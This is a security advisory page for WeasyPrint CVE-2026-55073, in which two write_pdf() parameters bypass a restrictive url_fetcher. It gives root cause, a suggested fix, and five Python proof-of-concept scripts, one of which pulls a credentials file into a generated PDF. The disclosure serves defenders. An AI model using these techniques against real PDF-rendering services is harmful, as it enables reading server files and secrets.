BREW-WEASYPRINT-CVE-2026-55073 (GHSA-JF6Q-CHMF-3H3V)
Vulnerability from osv_homebrew – Published: 2026-09-10 01:36 – Updated: 2026-09-10 21:20 – Source websiteSummary
url_fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write_pdf() channels ignore the document's url_fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
xmp_metadata=[url]- the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.stylesheets=[url_or_path]- the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole@import/url()graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url_fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.
Affected versions
All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.
Root cause
select_source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
def select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):
...
if url_fetcher is None:
url_fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
<link rel=stylesheet>inweasyprint/css/__init__.py<style>inweasyprint/css/__init__.py@importinweasyprint/css/__init__.py@font-face/local()inweasyprint/text/fonts.py@color-profile srcinweasyprint/css/__init__.py- images (
<img>, CSSurl(), SVG) inweasyprint/images.py
Two do not — they build a fresh default fetcher instead:
write_pdf(xmp_metadata=[...])inweasyprint/pdf/__init__.pywrite_pdf(stylesheets=[str])inweasyprint/document.py
xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:
if options['xmp_metadata']:
for url in options['xmp_metadata']:
result = select_source(url) # no url_fetcher
stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():
for css in options['stylesheets'] or []:
if not hasattr(css, 'matcher'):
css = CSS( # no url_fetcher=html.url_fetcher
guess=css, media_type=html.media_type,
font_config=font_config, counter_style=counter_style,
color_profiles=color_profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.
Reproduction
Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.
1 - xmp_metadata= reads a file:// the fetcher blocks
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True
(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)
2 - stylesheets= applies a blocked file:// sheet (with control)
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True
# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True
3 - the stylesheets= bypass is transitive
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True
4 - xmp_metadata= discloses a credentials file in full
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.
5 - scope of the stylesheets= channel (honest bound)
The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher
class Block(URLFetcher):
def fetch(self, url, headers=None):
if url.lower().startswith('file:'):
raise ValueError('blocked ' + url)
return super().fetch(url, headers)
d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf) # -> False
Suggested fix
Route both call sites through the document's url_fetcher, matching the five sites that already do this.
pdf/__init__.py-select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrictxmp_metadatato byte strings so no URL fetching occurs.)document.py-CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "70.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "weasyprint",
"purl": "pkg:brew/weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "70.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/weasyprint@70.0",
"name": "weasyprint",
"strategy": "registry",
"subject_version": "70.0"
}
]
},
"details": "## Summary\n\n`url_fetcher` is WeasyPrint\u0027s documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document\u0027s `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n ...\n if url_fetcher is None:\n url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document\u0027s fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** \u2014 they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options[\u0027xmp_metadata\u0027]:\n for url in options[\u0027xmp_metadata\u0027]:\n result = select_source(url) # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options[\u0027stylesheets\u0027] or []:\n if not hasattr(css, \u0027matcher\u0027):\n css = CSS( # no url_fetcher=html.url_fetcher\n guess=css, media_type=html.media_type,\n font_config=font_config, counter_style=counter_style,\n color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object\u0027s fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secret.xmp\u0027)\nopen(path, \u0027wb\u0027).write(b\u0027CANARY_XMP_LEAK_7f3a9c\u0027)\npdf = HTML(string=\u0027\u003cp\u003ehi\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027secret file leaked into PDF:\u0027, b\u0027CANARY_XMP_LEAK_7f3a9c\u0027 in pdf)\n# -\u003e True\n```\n\n(`pdf_variant=\u0027pdf/a-3b\u0027` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027evil.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027@page { size: 1234px 5678px }\u0027)\n\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + path])\np = doc.pages[0]\nprint(\u0027evil.css applied via stylesheets=:\u0027, (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string=\u0027\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e\u0027 % path,\n url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint(\u0027control \u003clink\u003e correctly blocked:\u0027, (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, \u0027inner.css\u0027)\nouter = os.path.join(d, \u0027outer.css\u0027)\nopen(inner, \u0027w\u0027).write(\u0027@page { size: 333px 777px }\u0027)\nopen(outer, \u0027w\u0027).write(\u0027@import url(\"file://%s\");\u0027 % inner)\ndoc = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).render(stylesheets=[\u0027file://\u0027 + outer])\np = doc.pages[0]\nprint(\u0027nested @import applied transitively:\u0027, (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\ncreds = {\u0027db_name\u0027: \u0027CANARY_DB_NAME\u0027, \u0027db_password\u0027: \u0027CANARY_PASSWORD_a3f7e9c2\u0027,\n \u0027encryption_key\u0027: \u0027CANARY_ENC_KEY_b8d4f6a1\u0027, \u0027secret_key\u0027: \u0027CANARY_SECRET_KEY_c5e9d2b7\u0027}\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027site_config.json\u0027)\njson.dump(creds, open(path, \u0027w\u0027))\npdf = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block()).write_pdf(\n xmp_metadata=[\u0027file://\u0027 + path], pdf_variant=\u0027pdf/a-3b\u0027, uncompressed_pdf=True)\nprint(\u0027all credential fields leaked into PDF:\u0027, all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n def fetch(self, url, headers=None):\n if url.lower().startswith(\u0027file:\u0027):\n raise ValueError(\u0027blocked \u0027 + url)\n return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, \u0027secrets.css\u0027)\nopen(path, \u0027w\u0027).write(\u0027/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }\u0027)\nhtml = HTML(string=\u0027\u003cp\u003ex\u003c/p\u003e\u0027, url_fetcher=Block())\ndoc = html.render(stylesheets=[\u0027file://\u0027 + path])\npdf = html.write_pdf(stylesheets=[\u0027file://\u0027 + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint(\u0027sheet applied (bypass):\u0027, (round(p.width), round(p.height)) == (999, 888)) # -\u003e True\nprint(\u0027comment leaked verbatim:\u0027, b\u0027CANARY_SECRET_e2a8c5d4\u0027 in pdf) # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document\u0027s `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent\u0027s fetcher.",
"id": "BREW-weasyprint-CVE-2026-55073",
"modified": "2026-09-10T21:20:40Z",
"published": "2026-09-10T01:36:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "weasyprint Has Server-Side Request Forgery (SSRF)",
"upstream": [
"GHSA-jf6q-chmf-3h3v",
"CVE-2026-55073",
"PYSEC-2026-3940"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.